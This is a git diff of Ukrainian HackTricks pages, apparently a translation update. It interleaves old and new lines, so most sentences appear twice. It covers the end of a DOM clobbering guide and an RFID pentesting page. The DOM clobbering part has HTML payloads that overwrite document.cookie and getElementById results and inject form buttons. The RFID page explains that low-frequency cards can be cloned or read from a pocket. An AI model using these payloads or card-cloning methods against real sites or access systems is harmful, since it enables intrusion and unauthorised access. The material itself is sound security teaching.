> Інтерфейс [Document](https://html.spec.whatwg.org/multipage/dom.html#document) [підтримує іменовані властивості](https://webidl.spec.whatwg.org/#dfn-support-named-properties). [Підтримувані імена властивостей](https://webidl.spec.whatwg.org/#dfn-supported-property-names) об'єкта [Document](https://html.spec.whatwg.org/multipage/dom.html#document) в будь-який момент складаються з наступних, у [деревоподібному порядку](https://dom.spec.whatwg.org/#concept-tree-order) відповідно до елемента, який їх надав, ігноруючи пізні дублікати, і з значеннями з атрибутів [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute), які йдуть перед значеннями з атрибутів name, коли один і той же елемент надає обидва:
>
> \- Значення атрибуту name для всіх [відкритих](https://html.spec.whatwg.org/multipage/dom.html#exposed) елементів [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) та [відкритих](https://html.spec.whatwg.org/multipage/dom.html#exposed) елементів [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element), які мають непорожнє значення атрибуту name та знаходяться [у дереві документа](https://dom.spec.whatwg.org/#in-a-document-tree) з document як їх [корінь](https://dom.spec.whatwg.org/#concept-tree-root);\
> \- Значення атрибута вмісту name для всіх [експонованих](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) та [експонованих](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) елементів, які мають непорожній атрибут вмісту name і знаходяться [в дереві документа](https://dom.spec.whatwg.org/#in-a-document-tree) з документом як їх [коренем](https://dom.spec.whatwg.org/#concept-tree-root);\
> \
> \- Значення атрибуту [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) для всіх [відкритих](https://html.spec.whatwg.org/multipage/dom.html#exposed) елементів [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element), які мають непорожнє значення атрибуту [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) та знаходяться [у дереві документа](https://dom.spec.whatwg.org/#in-a-document-tree) з document як їх [корінь](https://dom.spec.whatwg.org/#concept-tree-root);\
> \- Значення атрибута вмісту [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) для всіх [експонованих](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) елементів, які мають непорожній атрибут вмісту [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) і знаходяться [в дереві документа](https://dom.spec.whatwg.org/#in-a-document-tree) з документом як їх [коренем](https://dom.spec.whatwg.org/#concept-tree-root);\
> \
> \- Значення атрибуту [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) для всіх елементів [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element), які мають як непорожнє значення атрибуту [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute), так і непорожнє значення атрибуту name та знаходяться [у дереві документа](https://dom.spec.whatwg.org/#in-a-document-tree) з document як їх [корінь](https://dom.spec.whatwg.org/#concept-tree-root).
> \- Значення атрибута вмісту [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) для всіх [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) елементів, які мають як непорожній атрибут [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute), так і непорожній атрибут вмісту name, і знаходяться [в дереві документа](https://dom.spec.whatwg.org/#in-a-document-tree) з документом як їх [коренем](https://dom.spec.whatwg.org/#concept-tree-root).
Використовуючи цю техніку, ви можете перезаписати часто використовувані **значення, такі як `document.cookie`, `document.body`, `document.children`**, а також методи в інтерфейсі Document, наприклад `document.querySelector`.
Використовуючи цю техніку, ви можете перезаписати загальновживані **значення, такі як `document.cookie`, `document.body`, `document.children`**, і навіть методи в інтерфейсі Document, такі як `document.querySelector`.
```javascript
document.write("<img name=cookie />")
@ -138,9 +141,9 @@ HTMLCollection(2) [img, form, cookie: img]
typeof(document.cookie)
'object
```
## Запис після елементу, який був перезаписаний
## Writing after the element clobbered
Результати викликів **`document.getElementById()`** та **`document.querySelector()`** можуть бути змінені шляхом впровадження тегу `<html>` або `<body>` з ідентичним атрибутом id. Ось як це можна зробити:
Результати викликів **`document.getElementById()`** та **`document.querySelector()`** можуть бути змінені шляхом ін'єкції тегу `<html>` або `<body>` з ідентичним атрибутом id. Ось як це можна зробити:
```html
<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
@ -150,7 +153,7 @@ alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.querySelector('.x').innerText); // Clobbered
</script>
```
Крім того, застосовуючи стилі для приховування цих впроваджених тегів HTML/body, можна уникнути втручання іншого тексту в `innerText`, що підвищує ефективність атаки:
Крім того, використовуючи стилі для приховування цих ін'єкованих HTML/body тегів, можна запобігти втручанню з іншого тексту в `innerText`, тим самим підвищуючи ефективність атаки:
```html
<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
@ -162,7 +165,7 @@ p{display:none;}
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
```
Дослідження SVG показали, що тег `<body>` також може бути використаний ефективно:
Дослідження SVG виявили, що тег `<body>` також може бути ефективно використаний:
```html
<div style="display:none" id="cdnDomain">example.com</div>
<svg><body id="cdnDomain">clobbered</body></svg>
@ -170,7 +173,7 @@ alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
```
Для того, щоб тег HTML працював у межах SVG у браузерах, таких як Chrome та Firefox, необхідний тег `<foreignobject>`:
Щоб HTML тег працював у SVG в браузерах, таких як Chrome і Firefox, необхідний тег `<foreignobject>`:
```html
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
@ -182,9 +185,9 @@ alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
```
## Переповнення форм
## Clobbering Forms
Можливо додавати **нові записи всередині форми** просто, **вказавши атрибут `form`** всередині деяких тегів. Ви можете використовувати це, щоб **додавати нові значення всередині форми** та навіть додавати нову **кнопку** для **відправлення** (клікджекінг або зловживання деяким `.click()` JS кодом):
Можливо додати **нові записи всередині форми**, просто **вказавши атрибут `form`** всередині деяких тегів. Ви можете використовувати це, щоб **додати нові значення всередині форми** і навіть додати нову **кнопку** для **відправки** (клікджекинг або зловживання деяким кодом JS `.click()`):
{% code overflow="wrap" %}
```html
@ -200,20 +203,23 @@ Click to send!
* Для отримання додаткових атрибутів форми в [**кнопці перевірте це**](https://www.w3schools.com/tags/tag\_button.asp)**.**
## References
## Посилання
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
* [https://portswigger.net/web-security/dom-based/dom-clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering)
* Heyes, Gareth. JavaScript для хакерів: Вивчайте думати як хакер.
* Heyes, Gareth. JavaScript для хакерів: навчіться думати як хакер.
{% hint style="success" %}
Навчайтеся та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Навчайтеся та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримати HackTricks</summary>
* Ви працюєте в **кібербезпеці компанії**? Хочете побачити, як ваша **компанія рекламується на HackTricks**? або ви хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у форматі PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Дізнайтеся про [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**репозиторію hacktricks**](https://github.com/carlospolop/hacktricks) **та** [**репозиторію hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}

View file

@ -1,118 +1,125 @@
# Пентестинг RFID
# Pentesting RFID
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Чи працюєте ви в **кібербезпеці компанії**? Хочете побачити вашу **компанію рекламовану на HackTricks**? або хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Дізнайтеся про [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**репозиторію hacktricks**](https://github.com/carlospolop/hacktricks) **та** [**репозиторію hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Вступ
## Introduction
**Ідентифікація радіочастот (RFID)** є найпопулярнішим рішенням короткого діапазону радіо. Зазвичай використовується для зберігання та передачі інформації, яка ідентифікує сутність.
**Ідентифікація за радіочастотою (RFID)** є найпопулярнішим рішенням для короткочасного радіозв'язку. Зазвичай його використовують для зберігання та передачі інформації, що ідентифікує об'єкт.
RFID-мітка може покладатися на **власне джерело живлення (активна)**, таке як вбудована батарея, або отримувати живлення від антени читання за допомогою **поточного, викликаного отриманими радіохвилями** (**пасивна**).
RFID-мітка може покладатися на **своє джерело живлення (активна)**, таке як вбудована батарея, або отримувати живлення від антени зчитування, використовуючи **індукований струм від отриманих радіохвиль** (**пасивна**).
### Класи
### Classes
EPCglobal розділяє RFID-мітки на шість категорій. Мітка в кожній категорії має всі можливості, перераховані в попередній категорії, що робить її сумісною з попередньою.
EPCglobal ділить RFID-мітки на шість категорій. Мітка в кожній категорії має всі можливості, зазначені в попередній категорії, що робить її зворотно сумісною.
* Мітки **Класу 0** є **пасивними** мітками, які працюють у **UHF** діапазонах. Виробник **передпрограмує** їх на заводі виробництва. В результаті ви **не можете змінити** інформацію, збережену в їх пам'яті.
* Мітки **Класу 1** також можуть працювати у **HF** діапазонах. Крім того, їх можна **записати лише один раз** після виробництва. Багато міток Класу 1 також можуть обробляти **циклічні контрольні суми** (CRC) отриманих команд. CRC - це кілька додаткових байтів в кінці команд для виявлення помилок.
* Мітки **Класу 2** можна **записувати кілька разів**.
* Мітки **Класу 3** можуть містити **вбудовані датчики**, які можуть реєструвати параметри навколишнього середовища, такі як поточна температура або рух мітки. Ці мітки є **півпасивними**, оскільки хоча вони **мають** вбудоване джерело живлення, таке як інтегрована **батарея**, вони **не можуть ініціювати** бездротовий **зв'язок** з іншими мітками або читачами.
* Мітки **Класу 4** можуть ініціювати зв'язок з іншими мітками того ж класу, що робить їх **активними мітками**.
* Мітки **Класу 5** можуть надавати **живлення іншим міткам та спілкуватися з усіма попередніми класами міток**. Мітки Класу 5 можуть діяти як **читачі RFID**.
* **Клас 0** — це **пасивні** мітки, які працюють у **UHF** діапазонах. Постачальник **попередньо програмує** їх на виробництві. В результаті ви **не можете змінити** інформацію, що зберігається в їх пам'яті.
* **Клас 1** мітки також можуть працювати в **HF** діапазонах. Крім того, їх можна **записати лише один раз** після виробництва. Багато міток класу 1 також можуть обробляти **циклічні контрольні суми** (CRC) команд, які вони отримують. CRC — це кілька додаткових байтів в кінці команд для виявлення помилок.
* **Клас 2** мітки можуть бути **записані кілька разів**.
* **Клас 3** мітки можуть містити **вбудовані датчики**, які можуть записувати параметри навколишнього середовища, такі як поточна температура або рух мітки. Ці мітки є **напівпасивними**, оскільки, хоча вони **мають** вбудоване джерело живлення, таке як інтегрована **батарея**, вони **не можуть ініціювати** бездротову **комунікацію** з іншими мітками або зчитувачами.
* **Клас 4** мітки можуть ініціювати комунікацію з іншими мітками того ж класу, що робить їх **активними мітками**.
* **Клас 5** мітки можуть забезпечувати **живлення для інших міток і спілкуватися з усіма попередніми класами міток**. Мітки класу 5 можуть діяти як **RFID-зчитувачі**.
### Інформація, збережена в RFID-мітках
### Information Stored in RFID Tags
Пам'ять RFID-мітки зазвичай зберігає чотири види даних: **дані ідентифікації**, які **ідентифікують** **сутність**, до якої прикріплена мітка (ці дані включають поля, визначені користувачем, такі як банківські рахунки); **додаткові дані**, які надають **додаткові** **деталі** щодо сутності; **контрольні дані**, використовувані для внутрішньої **конфігурації** мітки; та **виробничі дані**, які містять Ідентифікатор Унікального Товару мітки (**UID**) та деталі щодо **виробництва**, **типу** та **виробника** мітки. Перші два види даних можна знайти у всіх комерційних мітках; останні два можуть відрізнятися в залежності від виробника мітки.
Пам'ять RFID-мітки зазвичай зберігає чотири види даних: **ідентифікаційні дані**, які **ідентифікують** **об'єкт**, до якого прикріплена мітка (ці дані включають поля, визначені користувачем, такі як банківські рахунки); **додаткові дані**, які надають **додаткові** **деталі** щодо об'єкта; **контрольні дані**, що використовуються для внутрішньої **конфігурації** мітки; та **дані виробника** мітки, які містять Унікальний Ідентифікатор мітки (**UID**) та деталі щодо **виробництва**, **типу** та **постачальника** мітки. Перші два види даних ви знайдете у всіх комерційних мітках; останні два можуть відрізнятися в залежності від постачальника мітки.
Стандарт ISO визначає значення Ідентифікатора Сімейного Застосування (**AFI**), код, який вказує на **тип об'єкта**, до якого належить мітка. Ще один важливий реєстр, також визначений ISO, - Ідентифікатор Формату Зберігання Даних (**DSFID**), який визначає **логічну організацію користувацьких даних**.
ISO стандарт визначає значення Ідентифікатора Сімейства Застосувань (**AFI**), код, який вказує на **тип об'єкта**, до якого належить мітка. Інший важливий реєстр, також визначений ISO, — це Ідентифікатор Формату Зберігання Даних (**DSFID**), який визначає **логічну організацію даних користувача**.
Більшість **контролів безпеки** RFID мають механізми, які **обмежують** операції **читання** або **запису** на кожний блок користувацької пам'яті та на спеціальні реєстри, що містять значення AFI та DSFID. Ці **механізми блокування** використовують дані, збережені в контрольній пам'яті, та мають **стандартні паролі**, попередньо налаштовані виробником, але дозволяють власникам міток **налаштовувати власні паролі**.
Більшість **контролів безпеки RFID** мають механізми, які **обмежують** **читання** або **запис** операцій на кожному блоці пам'яті користувача та на спеціальних реєстрах, що містять значення AFI та DSFID. Ці **механізми блокування** використовують дані, збережені в контрольній пам'яті, і мають **за замовчуванням паролі**, попередньо налаштовані постачальником, але дозволяють власникам міток **налаштовувати власні паролі**.
### Порівняння міток низької та високої частот
### Low & High frequency tags comparison
<figure><img src="../.gitbook/assets/image (27).png" alt=""><figcaption></figcaption></figure>
## Мітки RFID низької частоти (125 кГц)
## Low-Frequency RFID Tags (125kHz)
**Мітки низької частоти** часто використовуються в системах, які **не вимагають високого рівня безпеки**: доступ до будівель, ключі інтеркому, картки членства в спортзалі тощо. Завдяки їх вищому діапазону, їх зручно використовувати для платної автостоянки: водій не повинен приносити картку близько до читача, оскільки вона активується здалеку. У той ж час мітки низької частоти є дуже примітивними, вони мають низьку швидкість передачі даних. З цієї причини неможливо реалізувати складний двосторонній обмін даними для таких речей, як збереження балансу та криптографія. Мітки низької частоти лише передають свій короткий ідентифікатор без будь-яких засобів аутентифікації.
**Мітки низької частоти** часто використовуються в системах, які **не вимагають високої безпеки**: доступ до будівель, ключі домофонів, картки членства в спортзалі тощо. Завдяки їх більшій дальності, їх зручно використовувати для платного паркування: водієві не потрібно підносити картку близько до зчитувача, оскільки вона активується з більшої відстані. Водночас мітки низької частоти є дуже примітивними, вони мають низьку швидкість передачі даних. З цієї причини неможливо реалізувати складну двосторонню передачу даних для таких речей, як підтримка балансу та криптографія. Мітки низької частоти лише передають свій короткий ID без жодних засобів аутентифікації.
Ці пристрої покладаються на **пасивну** **RFID** технологію та працюють у **діапазоні від 30 кГц до 300 кГц**, хоча зазвичай використовується 125 кГц до 134 кГц:
Ці пристрої покладаються на **пасивну** **RFID** технологію та працюють у **діапазоні від 30 кГц до 300 кГц**, хоча зазвичай використовують 125 кГц до 134 кГц:
* **Довгий діапазон** — низька частота перекладається у великий діапазон. Є деякі читачі EM-Marin та HID, які працюють на відстані до метра. Їх часто використовують на автостоянках.
* **Примітивний протокол** — через низьку швидкість передачі даних ці мітки можуть лише передавати свій короткий ідентифікатор. У більшості випадків дані не аутентифікуються і не захищені жодним чином. Як тільки картка опиняється в зоні дії читача, вона починає передавати свій ідентифікатор.
* **Низький рівень безпеки** — Ці картки можуть легко копіюватися або навіть читатися з кишені іншої людини через примітивність протоколу.
* **Довгий діапазон** — нижча частота означає більший діапазон. Є кілька зчитувачів EM-Marin та HID, які працюють на відстані до метра. Їх часто використовують на парковках.
* **Примітивний протокол** — через низьку швидкість передачі даних ці мітки можуть лише передавати свій короткий ID. У більшості випадків дані не аутентифіковані і не захищені жодним чином. Як тільки картка потрапляє в зону дії зчитувача, вона просто починає передавати свій ID.
* **Низька безпека** — ці картки можна легко копіювати або навіть зчитувати з кишені іншої людини через примітивність протоколу.
**Популярні протоколи 125 кГц:**
* **EM-Marin** — EM4100, EM4102. Найпопулярніший протокол в СНД. Може бути прочитаний з відстані близько метра через його простоту та стабільність.
* **HID Prox II** — протокол низької частоти, представлений компанією HID Global. Цей протокол популярніший у західних країнах. Він складніший, а картки та читачі для цього протоколу відносно дорогі.
* **Indala** — дуже старий протокол низької частоти, який був представлений компанією Motorola, а пізніше придбаний компанією HID. Його менше ймовірно зустріти на волі порівняно з попередніми двома, оскільки він виходить з вжитку.
* **EM-Marin** — EM4100, EM4102. Найпопулярніший протокол у СНД. Може бути зчитаний з відстані близько метра через свою простоту та стабільність.
* **HID Prox II** — протокол низької частоти, представлений HID Global. Цей протокол більш популярний у західних країнах. Він складніший, а картки та зчитувачі для цього протоколу відносно дорогі.
* **Indala** — дуже старий протокол низької частоти, який був представлений Motorola, а пізніше придбаний HID. Ви менш імовірно зустрінете його в природі в порівнянні з попередніми двома, оскільки він виходить з використання.
На практиці існує багато інших протоколів низької частоти. Але всі вони використовують ту ж саму модуляцію на фізичному рівні і можуть бути вважані, одним чи іншим чином, варіацією перерахованих вище.
Насправді існує набагато більше протоколів низької частоти. Але всі вони використовують однакову модуляцію на фізичному рівні і можуть вважатися, так чи інакше, варіацією тих, що наведені вище.
### Атака
### Attack
Ви можете **здійснити атаку на ці мітки за допомогою Flipper Zero**:
You can **attack these Tags with the Flipper Zero**:
{% content-ref url="../todo/radio-hacking/flipper-zero/fz-125khz-rfid.md" %}
[fz-125khz-rfid.md](../todo/radio-hacking/flipper-zero/fz-125khz-rfid.md)
{% endcontent-ref %}
## Високочастотні RFID-мітки (13,56 МГц)
**Високочастотні мітки** використовуються для більш складної взаємодії читача-мітки, коли потрібне шифрування, великий двосторонній обмін даними, аутентифікація тощо.\
Зазвичай їх можна знайти на банківських картках, в громадському транспорті та інших безпечних пропусках.
## High-Frequency RFID Tags (13.56 MHz)
**Високочастотні мітки 13,56 МГц є набором стандартів та протоколів**. Зазвичай їх називають [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/), але це не завжди вірно. Основний набір протоколів, який використовується на фізичному та логічному рівнях, - це ISO 14443. Високорівневі протоколи, а також альтернативні стандарти (наприклад, ISO 19092), базуються на ньому. Багато людей називають цю технологію **ближнім бездротовим зв'язком (NFC)**, терміном для пристроїв, які працюють на частоті 13,56 МГц.
**Мітки високої частоти** використовуються для більш складної взаємодії між зчитувачем і міткою, коли потрібна криптографія, велика двостороння передача даних, аутентифікація тощо.\
Їх зазвичай можна знайти в банківських картках, громадському транспорті та інших безпечних пропусках.
**Мітки високої частоти 13.56 МГц є набором стандартів і протоколів**. Їх зазвичай називають [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/), але це не завжди правильно. Основний набір протоколів, що використовується на фізичному та логічному рівнях, — це ISO 14443. Протоколи високого рівня, а також альтернативні стандарти (такі як ISO 19092), базуються на ньому. Багато людей називають цю технологію **Ближньою Поле Комунікацією (NFC)**, терміном для пристроїв, що працюють на частоті 13.56 МГц.
<figure><img src="../.gitbook/assets/image (22).png" alt=""><figcaption></figcaption></figure>
У спрощеному вигляді архітектура NFC працює так: протокол передачі вибирається компанією, яка виготовляє картки, та реалізується на основі низькорівневого ISO 14443. Наприклад, NXP винахідливо створила свій власний високорівневий протокол передачі, який називається Mifare. Але на нижньому рівні картки Mifare базуються на стандарті ISO 14443-A.
Простими словами, архітектура NFC працює так: протокол передачі обирається компанією, що виготовляє картки, і реалізується на основі низькорівневого ISO 14443. Наприклад, NXP винайшла свій власний високорівневий протокол передачі, званий Mifare. Але на нижньому рівні картки Mifare базуються на стандарті ISO 14443-A.
Flipper може взаємодіяти як з низькорівневим протоколом ISO 14443, так і з протоколом передачі даних Mifare Ultralight та EMV, який використовується в банківських картках. Ми працюємо над підтримкою Mifare Classic та NFC NDEF. Докладний огляд протоколів та стандартів, які складають NFC, вартий окремої статті, яку ми плануємо опублікувати пізніше.
Flipper може взаємодіяти як з низькорівневим протоколом ISO 14443, так і з протоколом передачі даних Mifare Ultralight та EMV, що використовується в банківських картках. Ми працюємо над додаванням підтримки Mifare Classic та NFC NDEF. Докладний огляд протоколів і стандартів, що складають NFC, варто окремої статті, яку ми плануємо опублікувати пізніше.
Усі високочастотні картки на основі стандарту ISO 14443-A мають унікальний ідентифікатор чіпа. Він виступає як серійний номер картки, схожий на MAC-адресу мережевої карти. **Зазвичай UID складає 4 або 7 байтів**, але іноді може бути **до 10**. UID не є секретним і його легко прочитати, **іноді навіть надруковано на самій картці**.
Усі картки високої частоти, основані на стандарті ISO 14443-A, мають унікальний ідентифікатор чіпа. Він діє як серійний номер картки, подібно до MAC-адреси мережевої картки. **Зазвичай UID має довжину 4 або 7 байтів**, але рідко може **досягати 10**. UID не є секретом, і їх легко прочитати, **іноді навіть надруковані на самій картці**.
Є багато систем контролю доступу, які покладаються на UID для **аутентифікації та надання доступу**. Іноді це відбувається **навіть** тоді, коли RFID-мітки **підтримують шифрування**. Таке **недоречне використання** зводить їх на рівень простих **карток 125 кГц** з точки зору **безпеки**. Віртуальні картки (наприклад, Apple Pay) використовують динамічний UID, щоб власники телефонів не могли відчиняти двері за допомогою свого платіжного додатку.
Існує багато систем контролю доступу, які покладаються на UID для **аутентифікації та надання доступу**. Іноді це відбувається **навіть** тоді, коли RFID-мітки **підтримують криптографію**. Таке **неправильне використання** знижує їх до рівня дурних **карток 125 кГц** з точки зору **безпеки**. Віртуальні картки (як Apple Pay) використовують динамічний UID, щоб власники телефонів не могли відкривати двері за допомогою свого платіжного додатку.
* **Низький діапазон** — високочастотні картки спеціально розроблені так, щоб їх треба було розмістити близько до читача. Це також допомагає захистити картку від несанкціонованих взаємодій. Максимальна дальність зчитування, яку нам вдалося досягти, становила близько 15 см, і це було з власноруч зробленими читачами великого діапазону.
* **Розширені протоколи** — швидкості передачі даних до 424 кбіт/с дозволяють складні протоколи з повноцінним двостороннім обміном даними. Це, в свою чергу, **дозволяє шифрування**, передачу даних тощо.
* **Висока безпека** — безконтактні картки високочастотного зв'язку ні в чому не поступаються смарт-карткам. Є картки, які підтримують криптографічно міцні алгоритми, такі як AES, та реалізують асиметричну криптографію.
* **Низька дальність** — картки високої частоти спеціально розроблені так, щоб їх потрібно було розташовувати близько до зчитувача. Це також допомагає захистити картку від несанкціонованих взаємодій. Максимальна дальність зчитування, яку нам вдалося досягти, становила близько 15 см, і це було з виготовленими на замовлення зчитувачами великої дальності.
* **Складні протоколи** — швидкості передачі даних до 424 кбіт/с дозволяють складним протоколам з повноцінною двосторонньою передачею даних. Що, в свою чергу, **дозволяє криптографію**, передачу даних тощо.
* **Висока безпека** — безконтактні картки високої частоти ні в чому не поступаються смарт-карткам. Є картки, які підтримують криптографічно стійкі алгоритми, такі як AES, і реалізують асиметричну криптографію.
### Атака
### Attack
Ви можете **здійснювати атаки на ці мітки за допомогою Flipper Zero**:
You can **attack these Tags with the Flipper Zero**:
{% content-ref url="../todo/radio-hacking/flipper-zero/fz-nfc.md" %}
[fz-nfc.md](../todo/radio-hacking/flipper-zero/fz-nfc.md)
{% endcontent-ref %}
Або використовуючи **proxmark**:
Or using the **proxmark**:
{% content-ref url="../todo/radio-hacking/proxmark-3.md" %}
[proxmark-3.md](../todo/radio-hacking/proxmark-3.md)
{% endcontent-ref %}
## Посилання
## References
* [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Ви працюєте в **кібербезпеці**? Хочете побачити **рекламу вашої компанії на HackTricks**? або хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Дізнайтеся про [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або групи [**telegram**](https://t.me/peass) або **слідкуйте** за мною в **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилаючи PR до** [**репозиторію hacktricks**](https://github.com/carlospolop/hacktricks) **та** [**репозиторію hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,48 +1,66 @@
# FZ - Інфрачервоний
{% hint style="success" %}
